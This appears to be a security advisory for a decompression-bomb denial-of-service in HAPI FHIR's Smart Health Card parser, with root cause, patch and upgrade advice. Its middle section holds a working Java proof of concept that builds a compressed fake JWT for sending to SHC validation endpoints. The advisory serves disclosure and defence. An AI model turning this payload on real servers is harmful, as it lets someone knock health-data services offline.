CVE-2026-81875: HAPI FHIR SHCParser Unbounded DEFLATE Decompression DoS
HAPI FHIR's Smart Health Card parser will decompress attacker-supplied DEFLATE payloads without any size limit, letting a kilobyte-sized JWT balloon into gigabytes of heap and crash the server.
The problem
SHCParser processes Smart Health Card JWTs that carry a compressed payload when the header field "zip" is set to "DEF". Before version 6.9.12, both inflate() and decompress() loop over Inflater output and write every decompressed byte into a ByteArrayOutputStream with no cap on how large that stream can grow.
The existing MAX_ALLOWED_SHC_LENGTH check in decodeJWT() only logs an error and then continues parsing, so it provides no real protection. A single network request carrying a tiny compressed payload can therefore force the JVM to allocate hundreds of megabytes or more of heap, triggering severe GC pressure or an OutOfMemoryError.
Proof of concept
A working proof-of-concept for CVE-2026-81875 in ca.uhn.hapi.fhir:org.hl7.fhir.r5, with the exact payload below.
// 1. Build a highly compressible JSON blob (1 MB of repeated chars)
String body = "{\"a\":\"" + "A".repeat(1_000_000) + "\"}";
byte[] plain = body.getBytes(StandardCharsets.UTF_8);
// 2. Raw DEFLATE-compress it (no zlib wrapper; "true" = nowrap)
Deflater deflater = new Deflater(9, true);
deflater.setInput(plain);
deflater.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
while (!deflater.finished()) {
int n = deflater.deflate(buf);
bos.write(buf, 0, n);
}
byte[] compressed = bos.toByteArray();
// 3. Build a fake SHC JWT: header.payload.signature
// header = {"alg":"ES256","zip":"DEF"}
String header = Base64.getUrlEncoder().withoutPadding()
.encodeToString("{\"alg\":\"ES256\",\"zip\":\"DEF\"}".getBytes());
String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(compressed);
String jwt = header + "." + payload + ".fakesig";
// 4. Wrap in SHC numeric encoding and send to any SHC validation endpoint
// (SHCParser also accepts raw JWT strings directly via decodeJWT)
System.out.println("shc:/" + toNumericMode(jwt)); // triggers unbounded inflate()The root cause is CWE-409 (Improper Handling of Highly Compressed Data). inflate() and decompress() both use a bare while (!inflater.finished()) loop that writes every chunk to a ByteArrayOutputStream, giving the caller no way to abort early. The advisory's own measurements show a 1 052-byte compressed payload expanding to 1 000 066 bytes (950x ratio), and a 15 626-byte input expanding to 16 000 066 bytes (1023x ratio).
The patch in commit fbb94216 adds a running byte-count check inside both loops and throws (or logs a fatal error and returns) as soon as the accumulated output exceeds MAX_ALLOWED_SHC_LENGTH, making the guard actually enforced rather than advisory-only.
The fix
Upgrade to org.hl7.fhir.r5 (or any org.hl7.fhir.core module) version 6.9.12 or later. The fix is in commit fbb94216e0ad21ded75be77e5e20242ba194e83f via pull request #2493. No workaround exists in earlier versions because the MAX_ALLOWED_SHC_LENGTH path does not abort decompression.
Reported by Thai Son Dinh, VinSOC Labs (R&D).
Related research
- high · 7.5CVE-2026-85721CVE-2026-85721: async-http-client Decompression Bomb DoS
- high · 7.5CVE-2026-69202CVE-2026-69202: http4s Ember HTTP/2 Unbounded Inbound Body Buffering DoS
- high · 7.5CVE-2026-69203CVE-2026-69203: http4s Ember HTTP/2 Unbounded Stream Allocation DoS
- high · 7.5CVE-2026-69208CVE-2026-69208: http4s DigestAuth Nonce Map Unbounded Growth (DoS)